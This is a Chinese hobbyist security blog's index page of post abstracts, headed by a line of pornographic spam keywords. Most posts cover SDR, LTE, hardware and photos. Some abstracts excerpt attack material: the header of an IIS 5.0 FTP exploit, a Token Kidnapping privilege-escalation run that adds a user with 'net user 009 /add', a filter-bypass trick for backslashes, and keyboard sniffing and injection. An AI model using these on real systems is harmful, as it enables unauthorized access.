国产成人亚洲精品青草天美,亚洲毛片无码专区亚洲乱,国产精品亚洲综合久久

posted @ 2021-11-22 11:32 009 閱讀(1194) | 評(píng)論 (0) | 編輯收藏

摘要: srsLTE代碼主要分為三個(gè)模塊，即srsUE、srseNB、srsEPC，另外還包括一些底層的庫(kù)函數(shù)：
srsUE：實(shí)現(xiàn)了物理層到IP層的LTE SDR平臺(tái)；
srseNB：全協(xié)議棧的LTE eNodeB SDR平臺(tái)；
srsEPC：輕量級(jí)的LTE核心網(wǎng)實(shí)現(xiàn)平臺(tái)，包括HSS、MME以及S/P-GW；
lib：一套模塊化的通用庫(kù)，包括PHY、MAC、RLC、NAS、S1AP以及GW各層。
系統(tǒng)：ubuntu 16.04，使用實(shí)體機(jī)，USB3.0，千萬(wàn)不要用虛擬機(jī)，一些指令優(yōu)化，時(shí)序。。。需要非常精準(zhǔn)，比如雙向驗(yàn)證鑒權(quán)的時(shí)候，差一點(diǎn)都不行。
軟件無(wú)線(xiàn)電：bladeRF x40，LimeSDR mini，USRP B200
寫(xiě)卡：買(mǎi)白卡和寫(xiě)卡器，不要問(wèn)我，自己關(guān)鍵字搜吧，taobao不讓賣(mài)了
安裝順序：UHD，SoapySDR，SoapyUHD，LimeSuite，bladeRF，srsGUI，srsLTE
。。。
閱讀全文

posted @ 2019-07-19 12:44 009 閱讀(6904) | 評(píng)論 (0) | 編輯收藏

巴厘島四日游

posted @ 2018-11-16 11:33 009 閱讀(370) | 評(píng)論 (0) | 編輯收藏

樓上惡鄰小孩奔跑咚咚咚

摘要:
一定會(huì)有人用這個(gè)關(guān)鍵字搜到這里的，
原來(lái)沒(méi)打算寫(xiě)，網(wǎng)上搜索時(shí)候發(fā)現(xiàn)很多人深受苦惱，還是寫(xiě)一下吧。
背景就不解釋了，此方法為下下策，能用武力解決的就盡量少嗶嗶。
。。。
閱讀全文

posted @ 2016-02-26 14:55 009 閱讀(1160) | 評(píng)論 (4) | 編輯收藏

小米手環(huán)分析

摘要:
認(rèn)證很簡(jiǎn)單，只需要在FF04的UUID中寫(xiě)入20字節(jié)的值并校驗(yàn)通過(guò)，就可以對(duì)手環(huán)進(jìn)行讀寫(xiě)指令控制。
其實(shí)有個(gè)更簡(jiǎn)單的，只要給Immediate Alert這個(gè)屬性發(fā)送0x01或者0x02即可啟動(dòng)“女性?shī)蕵?lè)模式”，不需要任何認(rèn)證：
（這個(gè)屬性本來(lái)是用來(lái)可穿戴設(shè)備的找回功能的）
...

閱讀全文

posted @ 2015-09-05 18:34 009 閱讀(3273) | 評(píng)論 (12) | 編輯收藏

Sniffing Proprietary 2.4GHz Signals

摘要:
(U) Sniffing Proprietary 2.4GHz Signals
使用HackRF或者RTL-SDR加變頻器，那是極好的，但是我最終需要把所有東西都打包到一個(gè)小空間里面。
。。。。。。

閱讀全文

posted @ 2015-05-08 14:12 009 閱讀(2557) | 評(píng)論 (0) | 編輯收藏

Promiscuity is the nRF24L01+'s Duty

摘要:
翻譯部分內(nèi)容，備忘加鞏固，好多不清楚或錯(cuò)誤的地方，望高手指正。
extending the work of Thorsten Schr?der and Max Moser
of the KeyKeriki v2.0 project.

NHBadge and a Keyboard。。。。。。

閱讀全文

posted @ 2015-04-30 18:29 009 閱讀(1268) | 評(píng)論 (0) | 編輯收藏

點(diǎn)繪

摘要:

閱讀全文

posted @ 2015-04-10 16:50 009 閱讀(1049) | 評(píng)論 (0) | 編輯收藏

看來(lái)我比較適合六歲智商兒童的玩具

摘要:

閱讀全文

posted @ 2014-10-07 09:46 009 閱讀(1495) | 評(píng)論 (1) | 編輯收藏

大四軸飛行測(cè)試（視頻）

posted @ 2014-06-23 19:14 009 閱讀(1609) | 評(píng)論 (2) | 編輯收藏

大四軸飛行器

摘要:
備忘和參考

閱讀全文

posted @ 2014-05-12 16:43 009 閱讀(4887) | 評(píng)論 (0) | 編輯收藏

打算做個(gè)HackRF

摘要:
國(guó)外官方是300美元左右，目前買(mǎi)不到，國(guó)內(nèi)有做的，賣(mài)2800人民幣，買(mǎi)不起。只能自己做了，好幾個(gè)芯片好貴啊，都上百了。

閱讀全文

posted @ 2014-03-31 17:52 009 閱讀(17273) | 評(píng)論 (18) | 編輯收藏

crazyflie組裝

摘要:

閱讀全文

posted @ 2014-03-12 11:16 009 閱讀(3587) | 評(píng)論 (7) | 編輯收藏

使用xgoldmon項(xiàng)目調(diào)試監(jiān)控本機(jī)通信

摘要:
支持手機(jī)（感覺(jué)可以把手機(jī)設(shè)置成MODEM模式支持AT命令的應(yīng)該都可以）
- Samsung Galaxy S3 GT-I9300
- Samsung Galaxy Nexus GT-I9250 (has to be rooted!)
- Samsung Galaxy S2 GT-I9100
- Samsung Galaxy Note 2 GT-N7100
。。。。。。
閱讀全文

posted @ 2014-03-11 19:02 009 閱讀(3565) | 評(píng)論 (0) | 編輯收藏

OsmocomBB項(xiàng)目

摘要:
之前看過(guò)好多大牛玩osmocomBB項(xiàng)目，改個(gè)手機(jī)，連電腦，然后編譯一堆東西，到最后都是開(kāi)個(gè)console，滿(mǎn)屏紅紅綠綠的文字滾動(dòng)，看著很吊。
但都不說(shuō)最終能干啥，滾屏完了就沒(méi)了，大牛都太低調(diào)了，最近有朋友也在搞這個(gè)，了解了一下，以下描述都是我最近查閱的大量鳥(niǎo)文資料及少量中文資料之后的理解，如有誤望指出。
OsmocomBB是國(guó)外一個(gè)開(kāi)源項(xiàng)目，是GSM協(xié)議棧(Protocols stack)的開(kāi)源實(shí)現(xiàn)，全稱(chēng)是Open source mobile communication Baseband.目的是要實(shí)現(xiàn)手機(jī)端從物理層(layer1)到layer3的三層實(shí)現(xiàn)。
這里記錄一下過(guò)程，以便備忘和其它有需要的童鞋少走彎路。
........

閱讀全文

posted @ 2013-11-13 16:27 009 閱讀(52187) | 評(píng)論 (118) | 編輯收藏

Galaxy Nexus I9250音量鍵飛線(xiàn)

摘要:
前段時(shí)間拆我的三星I9250，把音量排線(xiàn)弄斷了，由于幾乎看不到觸點(diǎn)，修修補(bǔ)補(bǔ)好幾個(gè)月了，時(shí)好時(shí)壞，有時(shí)候volume+或者volume-被粘滯住了，就無(wú)法開(kāi)機(jī)了，重啟直接進(jìn)入recovery模式或者安全模式，但是之后無(wú)法響應(yīng)任何鍵進(jìn)入系統(tǒng)，還是得想辦法徹底地修一下。。。。
閱讀全文

posted @ 2013-11-10 14:16 009 閱讀(2222) | 評(píng)論 (4) | 編輯收藏

NodeJS、JavaScript 和 PHP 實(shí)現(xiàn)TOTP算法（Google Authenticator）

posted @ 2013-09-11 17:23 009 閱讀(8144) | 評(píng)論 (3) | 編輯收藏

ubuntu mysql5.5 更改數(shù)據(jù)目錄

posted @ 2013-06-14 12:31 009 閱讀(3445) | 評(píng)論 (0) | 編輯收藏

MSSQL 2008 日志分析

posted @ 2013-05-03 10:17 009 閱讀(3270) | 評(píng)論 (1) | 編輯收藏

清明時(shí)節(jié)雨紛紛

摘要:

這小子，始終菊花跟臉同時(shí)對(duì)著我，算你狠。。。

。。。閱讀全文

posted @ 2013-04-07 17:19 009 閱讀(1410) | 評(píng)論 (0) | 編輯收藏

Raspberry Pi 增加TFT顯示

摘要:
Raspberry Pi是一款基于Linux系統(tǒng)的個(gè)人電腦，配備一枚700MHz的處理器，256內(nèi)存，支持SD卡和Ethernet，擁有兩個(gè)USB接口，以及 HDMI和RCA輸出支持。
有消息稱(chēng)，雖然Raspberry Pi看起來(lái)非常的迷你——只有一張信用卡大小，但是它能夠運(yùn)行像《雷神之錘三：競(jìng)技場(chǎng)》這樣的游戲和進(jìn)行1080p視頻的播放。但是以這次接TFT屏試用結(jié)果看，我覺(jué)得至少SPI是純屬扯J8蛋，可能HDMI速度快點(diǎn)，但是就以那編譯內(nèi)核的速度來(lái)看，并不樂(lè)觀。

... ...
閱讀全文

posted @ 2012-12-18 15:21 009 閱讀(13331) | 評(píng)論 (8) | 編輯收藏

曬圖（45幅）

摘要:
統(tǒng)一曬一下最近的圖，時(shí)間先后順序亂的

。。。。。。

閱讀全文

posted @ 2012-11-26 17:54 009 閱讀(1833) | 評(píng)論 (1) | 編輯收藏

TVB-Gone 紅外編碼方法（每次都重新推算一遍，年紀(jì)大了還是記錄一下吧）

摘要:
每次都重新推算一遍，年紀(jì)大了還是記錄一下吧（硬件版的TV-B-Gone的壓縮編碼跳過(guò)此段往下看）

N900上有個(gè)TVB-Gone的程序，但是程序的紅外編碼往往都是對(duì)應(yīng)的國(guó)外的電視，好多國(guó)產(chǎn)電視都不支持，
有時(shí)候需要遙控空調(diào)或者投影之類(lèi)的，只能自己錄入了，大概看了一下，編碼比較簡(jiǎn)單（比硬件那個(gè)簡(jiǎn)單多了，畢竟不需要考慮程序空間的問(wèn)題）
（上次錄過(guò)一次，這次又重搞一遍，還是記錄一下，以備后用。）
。。。
閱讀全文

posted @ 2012-10-23 17:38 009 閱讀(2634) | 評(píng)論 (5) | 編輯收藏

Raspberry Pi 入手安裝配置（有圖有真相）

摘要:
托rock的福，跟風(fēng)敗了個(gè)Raspberry Pi，（破手機(jī)照的，還可以吧 ^_^），安裝配置如下：
閱讀全文

posted @ 2012-08-10 16:21 009 閱讀(14987) | 評(píng)論 (5) | 編輯收藏

Arduino版【流光溢彩】

摘要: 效果看視頻閱讀全文

posted @ 2012-07-13 16:22 009 閱讀(3559) | 評(píng)論 (7) | 編輯收藏

我是007加密后的軟件密碼破解

摘要:
最近要破解一個(gè)軟件的密碼，發(fā)現(xiàn)用的我是007加密的，沒(méi)錯(cuò)，軟件就叫尼瑪我是007，總結(jié)下方法：
……

閱讀全文

posted @ 2012-05-31 13:07 009 閱讀(4535) | 評(píng)論 (13) | 編輯收藏

畫(huà)的喬布斯，能看出來(lái)不？

posted @ 2012-05-26 17:55 009 閱讀(1560) | 評(píng)論 (2) | 編輯收藏

BT5安裝使用touchatag命令備忘

posted @ 2012-04-26 13:25 009 閱讀(1767) | 評(píng)論 (0) | 編輯收藏

用量產(chǎn)的優(yōu)盤(pán)完美硬盤(pán)安裝BT5

摘要:
1、The installer needs to commit changes to partition tables, but cannot do so because partitions on the following mount points could not be unmounted: /cdrom
2、ubuntu installer crashed Missing filesystem.size

閱讀全文

posted @ 2012-03-21 13:55 009 閱讀(2797) | 評(píng)論 (1) | 編輯收藏

學(xué)做了個(gè)USB名片

摘要:
半夜三更發(fā)blog，沒(méi)人疼啊。
打算做個(gè)模擬USB鍵盤(pán)的東東，半夜睡不著，先搭個(gè)USB名片試試，效果還挺好的，可以整些惡作劇，多做幾個(gè)可以送人，哈哈。
找現(xiàn)有的零件在面包板上測(cè)試的，所以不要評(píng)價(jià)外觀：）
……
閱讀全文

posted @ 2011-12-10 01:28 009 閱讀(3435) | 評(píng)論 (1) | 編輯收藏

2.4GHz無(wú)線(xiàn)鍵盤(pán)監(jiān)聽(tīng)（增加injecting）

摘要:
之前做了個(gè)27MHz的無(wú)線(xiàn)鍵盤(pán)監(jiān)聽(tīng)，廢了不少勁，一直想做個(gè)2.4GHz的，
國(guó)內(nèi)買(mǎi)元器件和做PCB板子太麻煩，少了不做，又貴，中發(fā)電子城又遠(yuǎn)，懶得跑，每次跑一趟，總有忘了買(mǎi)的，
拖拖拉拉的一直到最近才終于折騰完。
Cortex-M3的資料很少，Jlink調(diào)試還不太會(huì)搞，不知道是不是那個(gè)山寨的Jlink問(wèn)題。
……
閱讀全文

posted @ 2011-12-02 15:49 009 閱讀(5009) | 評(píng)論 (10) | 編輯收藏

腐蝕了個(gè)Punisher裝飾下板子

摘要:
手工畫(huà)的，打印的效果肯定會(huì)更好……
閱讀全文

posted @ 2011-12-02 15:20 009 閱讀(2447) | 評(píng)論 (0) | 編輯收藏

ID卡模擬器（送朋友的禮物）

posted @ 2011-11-06 22:45 009 閱讀(9349) | 評(píng)論 (13) | 編輯收藏

曬曬最近添置的東東

posted @ 2011-11-06 18:22 009 閱讀(2322) | 評(píng)論 (4) | 編輯收藏

MifareClassicDefaultKeys

posted @ 2011-10-09 16:30 009 閱讀(2201) | 評(píng)論 (0) | 編輯收藏

低頻線(xiàn)圈終于弄好了

摘要:
中發(fā)的賣(mài)家真黑啊，15一個(gè)，我是懶得淘寶買(mǎi)，要了兩個(gè)，JS肯定背地里竊喜。
用了一個(gè)半，接到一起，效果還不錯(cuò)。
嚴(yán)重感謝明月松溪的耐心指導(dǎo)，
嚴(yán)禁評(píng)價(jià)線(xiàn)圈外觀
閱讀全文

posted @ 2011-10-03 18:55 009 閱讀(2553) | 評(píng)論 (3) | 編輯收藏

TVBGone

摘要: 芯片買(mǎi)了二批，都是壞的，都開(kāi)始懷疑我對(duì)AVR的理解，甚至重買(mǎi)了個(gè)編程器，第三批芯片終于是好的。
結(jié)論是國(guó)內(nèi)好多芯片都是假的，悲催啊
……
閱讀全文

posted @ 2011-07-30 21:42 009 閱讀(2421) | 評(píng)論 (6) | 編輯收藏

神卡到了，你丫小心點(diǎn)。

posted @ 2011-07-04 17:23 009 閱讀(3540) | 評(píng)論 (2) | 編輯收藏

無(wú)線(xiàn)鍵盤(pán)監(jiān)聽(tīng)（更新 LCD 1602）

摘要:
一個(gè)國(guó)外的開(kāi)源項(xiàng)目，通過(guò)截獲無(wú)線(xiàn)鍵盤(pán)發(fā)出的信號(hào)，來(lái)監(jiān)聽(tīng)鍵盤(pán)按鍵操作，第一個(gè)版本支持監(jiān)聽(tīng)27MHz的無(wú)線(xiàn)鍵盤(pán)，第二個(gè)版本支持2.4G的無(wú)線(xiàn)鍵盤(pán)監(jiān)聽(tīng)及注入功能，爽。

以前玩過(guò)C51單片機(jī)，加上本身自學(xué)能力和手工焊接功底不錯(cuò)，磕磕絆絆幾個(gè)月下來(lái)，終于初步完成了這個(gè)小玩意。

這次的芯片是ATMEL的MEGA64A，比之前C51系列的又強(qiáng)大、復(fù)雜了不少，制作過(guò)程中遇到非常多的問(wèn)題，在這里鄙視一下（強(qiáng)烈地）國(guó)內(nèi)的知識(shí)共享精神

…………

閱讀全文

posted @ 2011-02-19 02:40 009 閱讀(6368) | 評(píng)論 (15) | 編輯收藏

Nokia N900上安裝Neopwn

摘要:
Neopwn：
http://www.neopwn.com/
BackTrack Mobile版，再解釋一下，相當(dāng)于一個(gè)黑客工具集的手機(jī)版，裝完才發(fā)現(xiàn)，其實(shí)主要用到的就wl1251，一個(gè)支持注入的網(wǎng)卡驅(qū)動(dòng)，其它的很多功能都是空的，或者不好用，穩(wěn)定性不好，建議
……

閱讀全文

posted @ 2010-11-19 14:38 009 閱讀(7310) | 評(píng)論 (6) | 編輯收藏

摘要:
......
轉(zhuǎn)眼過(guò)去多年時(shí)間多少離合悲歡
曾經(jīng)志在四方少年羨慕南飛的燕
各自奔前程的身影匆匆漸行漸遠(yuǎn)
未來(lái)在哪里平凡啊誰(shuí)給我答案
那時(shí)陪伴我的人啊你們?nèi)缃裨诤畏?
我曾經(jīng)愛(ài)過(guò)的人啊現(xiàn)在是什么模樣
......

閱讀全文

posted @ 2010-11-18 13:32 009 閱讀(3265) | 評(píng)論 (0) | 編輯收藏

DIY一個(gè)山寨投影

摘要:
用相機(jī)和手機(jī)拍的，幾張白天拍的，幾張晚上拍的，開(kāi)始分辨率不對(duì)，調(diào)了下好多了，照片效果一般，實(shí)際效果比圖片好很多。
……

閱讀全文

posted @ 2010-06-15 11:34 009 閱讀(3899) | 評(píng)論 (7) | 編輯收藏

遭受 MSN D.o.S

posted @ 2010-06-14 22:45 009 閱讀(3543) | 評(píng)論 (3) | 編輯收藏

關(guān)于115網(wǎng)盤(pán)提示“網(wǎng)絡(luò)繁忙時(shí)段，非登陸用戶(hù)其它下載地址暫時(shí)關(guān)閉。。。”解決方法。

摘要:

有時(shí)候下載115網(wǎng)盤(pán)的時(shí)候會(huì)提示“網(wǎng)絡(luò)繁忙時(shí)段，非登陸用戶(hù)其它下載地址暫時(shí)關(guān)閉。推薦您使用優(yōu)蛋下載，沒(méi)有優(yōu)蛋？立即下載 ”
其實(shí)稍微修改下就可以解決。
……

閱讀全文

posted @ 2010-05-19 11:17 009 閱讀(8237) | 評(píng)論 (0) | 編輯收藏

掏了個(gè)Nokia N900

posted @ 2010-03-31 11:52 009 閱讀(2943) | 評(píng)論 (4) | 編輯收藏

解決用Kmplayer播放視頻有明顯馬賽克、鋸齒

摘要:
重裝了N遍驅(qū)動(dòng)，N遍Kmplayer，包括不同版本的，完美解碼等，調(diào)試了無(wú)數(shù)回解碼器，渲染器，分離器什么的，還是沒(méi)有解決
最終發(fā)現(xiàn)是......

閱讀全文

posted @ 2010-02-06 22:18 009 閱讀(10262) | 評(píng)論 (1) | 編輯收藏

去年做的東西

摘要:
主要工具：烙鐵、鉗子、鉛筆刀（廢了至少6把）、AB膠（至少2對(duì)）、砂紙、微型螺絲刀
主要材料：鉛筆×112支（六邊形最便宜那種）、棉簽棍若干、烤肉簽×1根、太陽(yáng)能板、光控電路（廢了一個(gè)）
附屬工具：酌情購(gòu)買(mǎi)創(chuàng)口帖（以本人神乎其技的刀hua也用了兩三個(gè)，殘念）
用時(shí)：沒(méi)有好工具，而且空余時(shí)間構(gòu)思加制作，花了4個(gè)月多點(diǎn)，之后零零散散做了些加工。
另：中間順便去了趟喬家大院 & 平遙古城找找感覺(jué)

工具條件比較簡(jiǎn)陋，削斜面，切斷之類(lèi)都是用的鉛筆刀，食指一側(cè)都長(zhǎng)繭了。
..........

閱讀全文

posted @ 2010-01-01 23:15 009 閱讀(3641) | 評(píng)論 (9) | 編輯收藏

風(fēng)訊所有版本多個(gè)目錄相關(guān)漏洞

posted @ 2009-11-11 23:43 009 閱讀(1659) | 評(píng)論 (0) | 編輯收藏

小車(chē)

posted @ 2009-10-26 16:39 009 閱讀(4516) | 評(píng)論 (3) | 編輯收藏

T60手工添加WWAN模塊上3G和GPS

摘要:
硬件需求：MC5725、小耳朵（天線(xiàn)）、EVDO資費(fèi)卡、AN/AAA碼、IMSI碼
軟件需求：T60BIOS2.22mod-1802 1804.iso、MC5725驅(qū)動(dòng)、CDMA_Workshop_v2.7.rar、EVDO.prl、QPST_v2.7.rar、EVDO_Watcher.exe

WCDMA太貴，不考慮，移動(dòng)的還早，現(xiàn)在比較流行的就是電信的EVDO，所以選定MC5725模塊，而且還能GPS，由于國(guó)外都沒(méi)有中國(guó)的機(jī)卡分離之說(shuō)，所以需要把UIM卡的信息刷到模塊上面，這個(gè)信息就是AN/AAA碼和IMSI碼，需要電信的內(nèi)部人員提供，網(wǎng)上有些賣(mài)家能提供，不過(guò)現(xiàn)在好像越來(lái)越嚴(yán)了，估計(jì)以后很難拿到這些了。
如果需要發(fā)短信等普通手機(jī)功能，需要刷ESN碼，還有鑒權(quán)什么的需要刷AKey，如果只是上3G，只要AN/AAA碼和IMSI碼即可。

以上是這幾天翻閱海量帖子之后就我的理解，如有誤人子弟的地方請(qǐng)指正。

拆機(jī)，安裝硬件（之前換過(guò)不下5次液晶屏的燈管，此等級(jí)的拆機(jī)裝機(jī)不費(fèi)吹灰之力）
... 閱讀全文

posted @ 2009-10-17 21:15 009 閱讀(9440) | 評(píng)論 (2) | 編輯收藏

Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版

摘要:
綁定4444端口，Windows 2000 CN + SP4 測(cè)試通過(guò)，需要能建目錄的用戶(hù)，偏移地址若不通用，請(qǐng)自行修改。
#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit
..................

閱讀全文

posted @ 2009-09-20 15:09 009 閱讀(4516) | 評(píng)論 (0) | 編輯收藏

TRS （文本檢索系統(tǒng)）注入

摘要:
TRS 是英文Text Retrieval System（文本檢索系統(tǒng)）的縮寫(xiě)，據(jù)說(shuō)是全文檢索、搜索引擎、內(nèi)容管理及知識(shí)管理核心技術(shù)和產(chǎn)品的統(tǒng)一，入選2008年度國(guó)家規(guī)劃布局內(nèi)重點(diǎn)軟件企業(yè)，做某些滲透經(jīng)常會(huì)碰到。
......

閱讀全文

posted @ 2009-09-10 15:12 009 閱讀(1335) | 評(píng)論 (0) | 編輯收藏

Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload

摘要:
鳥(niǎo)文沒(méi)太看明白，摸索了一下，$_FILE數(shù)組元素解析的問(wèn)題。
搭個(gè)php的環(huán)境，目錄在C:\www下，根目錄下有個(gè)upload.php代碼如下
......

閱讀全文

posted @ 2009-07-27 11:54 009 閱讀(3472) | 評(píng)論 (4) | 編輯收藏

機(jī)場(chǎng)無(wú)線(xiàn)密碼(更新20100627)

摘要:
更新頻度視出差頻度而定
上海虹橋機(jī)場(chǎng)
京滬空中快線(xiàn)A8登機(jī)口
cheerway snack bar A8/.............

閱讀全文

posted @ 2009-04-09 11:34 009 閱讀(7937) | 評(píng)論 (5) | 編輯收藏

黑客控制整棟大廈電力系統(tǒng),改編成游戲!

摘要:
這才是牛逼黑客,控制整棟大廈電力系統(tǒng),大廈燈光來(lái)做背景,改編成游戲!坦克大戰(zhàn)~~
.............

閱讀全文

posted @ 2009-02-06 23:57 009 閱讀(5779) | 評(píng)論 (6) | 編輯收藏

以色列人發(fā)現(xiàn)的IE 0day (ZT)

摘要:
測(cè)試成功，點(diǎn)打印后，會(huì)彈出計(jì)算器
.........
閱讀全文

posted @ 2009-01-08 19:16 009 閱讀(4456) | 評(píng)論 (8) | 編輯收藏

模擬鋼琴

摘要:
26個(gè)字母，26個(gè)鋼琴鍵(鍵盤(pán)請(qǐng)?jiān)陉P(guān)閉漢字輸入法然后點(diǎn)下上面的FLASH以獲得焦點(diǎn)，才可正常使用)，可以用a-z來(lái)彈，也可以用鼠標(biāo)
下面的音樂(lè)，彈出來(lái)就知道是什么了
.........

閱讀全文

posted @ 2008-12-05 12:14 009 閱讀(4579) | 評(píng)論 (2) | 編輯收藏

把我的W810C刷了一下，增加了些實(shí)用功能

摘要:
反正很老的機(jī)子了，刷壞了大不了買(mǎi)個(gè)新的
增加了如下功能：
1. 去網(wǎng)標(biāo)，那個(gè)CMCC
2. 拍照可靜音，上次上課拍老師的投影，安靜的課堂上，咔嚓咔嚓很尷尬
3. 更新聲音和攝像的驅(qū)動(dòng)
4. 增加歌詞秀功能（這個(gè)是我迫切需要的功能）
5. 增加來(lái)電秀功能（來(lái)電或者去電，顯示對(duì)方的物理地址）
6. 字體變小，看著舒服一點(diǎn)
7. 比較酷的主題
8. 改walkman界面
9. 修改休眠模式顯示時(shí)間的字體
10. 長(zhǎng)按側(cè)面的＋按鈕，開(kāi)啟或者關(guān)閉照明燈
11. 還有GPS功能，不實(shí)用，只顯示兩個(gè)十六進(jìn)制字符串，冒號(hào)分割，不知道什么意思，難道是經(jīng)度緯度？
12. 應(yīng)該還有，忘了
下面看圖
....................

閱讀全文

posted @ 2008-10-30 22:52 009 閱讀(4724) | 評(píng)論 (12) | 編輯收藏

繞過(guò)命令行下過(guò)濾反斜杠\

摘要:
%tmp:~2,1%
稍微看了下，原來(lái)這個(gè)字符串是這個(gè)意思：%tmp:~2,1% = mid(%tmp%,2,1) = \
......

閱讀全文

posted @ 2008-10-16 14:39 009 閱讀(3463) | 評(píng)論 (0) | 編輯收藏

曬圖

摘要:
某些地方畫(huà)得有出入，被人一通鄙視
歡總一語(yǔ)道破：觀察太少了
...........
閱讀全文

posted @ 2008-10-14 00:23 009 閱讀(2519) | 評(píng)論 (3) | 編輯收藏

Token Kidnapping Windows 2003 PoC exploit (Win2K3測(cè)試成功)

摘要:
我的有啥補(bǔ)丁打啥補(bǔ)丁的Win2k3 CN SP1測(cè)試成功

d:\Churrasco.exe "net user 009 /add"

/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 1948
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 472
.......

閱讀全文

posted @ 2008-10-09 10:52 009 閱讀(7323) | 評(píng)論 (13) | 編輯收藏

曬圖

摘要:
左腿的陰影還行，云不會(huì)畫(huà)

閱讀全文

posted @ 2008-10-03 19:39 009 閱讀(2075) | 評(píng)論 (1) | 編輯收藏

回答“我的電腦最近很慢”“老是彈出網(wǎng)頁(yè)”之類(lèi)的問(wèn)題專(zhuān)用帖

摘要:
“我的電腦黑屏了”
“我的電腦最近不知怎么變得很慢？“
“我上網(wǎng)老是自動(dòng)彈出頁(yè)面，怎么回事？”
“為什么殺毒軟件老是彈出來(lái)，每次都是同一個(gè)病毒？”
.....................
任何人，我一般都會(huì)幫忙，但是長(zhǎng)時(shí)間停留在這個(gè)問(wèn)題上，會(huì)瘋掉的，往往對(duì)方的描述不一定精確，光靠說(shuō)，白白花了一天的時(shí)間也有可能搞不定一個(gè)小問(wèn)題
也許有兩種情況我會(huì)耐心的給你分析，1：領(lǐng)導(dǎo)，2：美女
我一般會(huì)說(shuō)：“造成這種情況有149834種可能，重裝吧，裝完升級(jí)系統(tǒng)，打補(bǔ)丁，裝殺毒，升級(jí)病毒庫(kù)，不要裝垃圾軟件，不要上色情網(wǎng)站。”
下面講講一般步驟，以下講的都是對(duì)付普通病毒，如果說(shuō)驅(qū)動(dòng)級(jí)，rootkit，bootkit什么的，要想讓我用一篇簡(jiǎn)單的blog描述清楚恐怕不太現(xiàn)實(shí)，讓你清理注入線(xiàn)程，SSDT之類(lèi)的惡意程序就夠你受的了。
................
閱讀全文

posted @ 2008-09-21 21:46 009 閱讀(3249) | 評(píng)論 (6) | 編輯收藏

COVER

摘要:

閱讀全文

posted @ 2008-09-19 00:25 009 閱讀(2245) | 評(píng)論 (1) | 編輯收藏

阿爾山（六）

摘要:
多圖
閱讀全文

posted @ 2008-09-19 00:04 009 閱讀(2095) | 評(píng)論 (4) | 編輯收藏

阿爾山（四）

摘要:
多圖
閱讀全文

posted @ 2008-09-19 00:03 009 閱讀(1923) | 評(píng)論 (3) | 編輯收藏

阿爾山（五）

摘要:
多圖

閱讀全文

posted @ 2008-09-19 00:03 009 閱讀(1887) | 評(píng)論 (1) | 編輯收藏

阿爾山（三）

摘要:
多圖
閱讀全文

posted @ 2008-09-19 00:02 009 閱讀(1824) | 評(píng)論 (1) | 編輯收藏

阿爾山（二）

摘要:
多圖閱讀全文

posted @ 2008-09-19 00:01 009 閱讀(1812) | 評(píng)論 (0) | 編輯收藏

阿爾山（一）

摘要:
080913 北京－八達(dá)嶺高速－張家口－張北－寶昌鎮(zhèn)（太仆寺旗）－桑根達(dá)來(lái)鎮(zhèn)－烏日?qǐng)D塔拉蘇木－錫林浩特－巴彥寶拉格蘇木－阿爾善寶拉格鎮(zhèn)－額和寶拉格蘇木－烏里亞斯太鎮(zhèn)（東烏珠穆沁旗）
080914 烏里亞斯太鎮(zhèn)（東烏珠穆沁旗）－寶拉格蘇木－巴彥霍布爾－額仁高畢蘇木－滿(mǎn)都胡寶拉格蘇木－寶格達(dá)山林場(chǎng)－五岔溝鎮(zhèn)－白狼鎮(zhèn)－阿爾山市
080914 阿爾山游玩一天
080915 阿爾山－白狼鎮(zhèn)－五岔溝鎮(zhèn)－好仁蘇木－科爾沁右翼前旗－突泉鎮(zhèn)－科爾沁右翼中旗－高力板鎮(zhèn)－舍伯吐鎮(zhèn)－通遼－赤峰市
080916 赤峰市－承德市－北京

PS了一下，主要調(diào)了下顏色對(duì)比度等，裁剪了下尺寸，因?yàn)橛械脑谲?chē)上拍的，畫(huà)面中會(huì)有反光鏡：），還有鏡頭上的水珠或者擋風(fēng)玻璃上的蟲(chóng)子什么的，盡量PS掉了一些
..........
閱讀全文

posted @ 2008-09-18 22:11 009 閱讀(1303) | 評(píng)論 (0) | 編輯收藏

瞧瞧這智商

posted @ 2008-09-11 00:58 009 閱讀(2739) | 評(píng)論 (3) | 編輯收藏

ubuntu 6.10升級(jí)到8.10

摘要:
寫(xiě)在文章開(kāi)頭的話(huà)：抑郁癥嚴(yán)重者，切勿嘗試以下操作

不要被標(biāo)題誤導(dǎo)了，不是直接一步升完，其實(shí)還是從6.10升到7.04再升7.10再升8.04再升8.10，相當(dāng)漫長(zhǎng)
(堅(jiān)持6.10很久了，由于之前beryl特效是自己配置安裝的，巨麻煩，一直舍不得升級(jí))
.....................

閱讀全文

posted @ 2008-08-22 13:15 009 閱讀(1177) | 評(píng)論 (2) | 編輯收藏

近距離接觸奧運(yùn)（多圖殺貓）

摘要:
早上馬拉松在家門(mén)口經(jīng)過(guò)，下午去五棵松看女籃
十倍光學(xué)變焦，不是蓋的，不過(guò)別人已經(jīng)單反了
............

閱讀全文

posted @ 2008-08-17 23:30 009 閱讀(1894) | 評(píng)論 (2) | 編輯收藏

用自己的聲音唱歌或哼唱來(lái)搜索音樂(lè)

摘要:
http://www.midomi.com/，首頁(yè)點(diǎn)上面的flash，Click and Sing or Hum
害我半夜翻箱倒柜找麥狼嚎，不過(guò)我唱的搜出來(lái)從來(lái)沒(méi)對(duì)過(guò)，我確定是這套系統(tǒng)的識(shí)別率有問(wèn)題，沒(méi)錯(cuò)，確定一定以及肯定。
.........
閱讀全文

posted @ 2008-08-15 22:44 009 閱讀(4314) | 評(píng)論 (3) | 編輯收藏

曬圖

摘要:

閱讀全文

posted @ 2008-08-15 21:45 009 閱讀(1929) | 評(píng)論 (2) | 編輯收藏

WordPress暴絕對(duì)路徑

摘要:
(之前發(fā)的"關(guān)于Fs2You怎么才能不被和諧"的文章被和諧掉了)
裝WordPress順便看到的
默認(rèn)plugins目錄有hello.php文件，不過(guò)好像很多插........

閱讀全文

posted @ 2008-08-12 14:46 009 閱讀(2447) | 評(píng)論 (2) | 編輯收藏

在辦公室等簽字無(wú)聊畫(huà)的

posted @ 2008-08-05 18:09 009 閱讀(2404) | 評(píng)論 (3) | 編輯收藏

8要香菜

摘要:
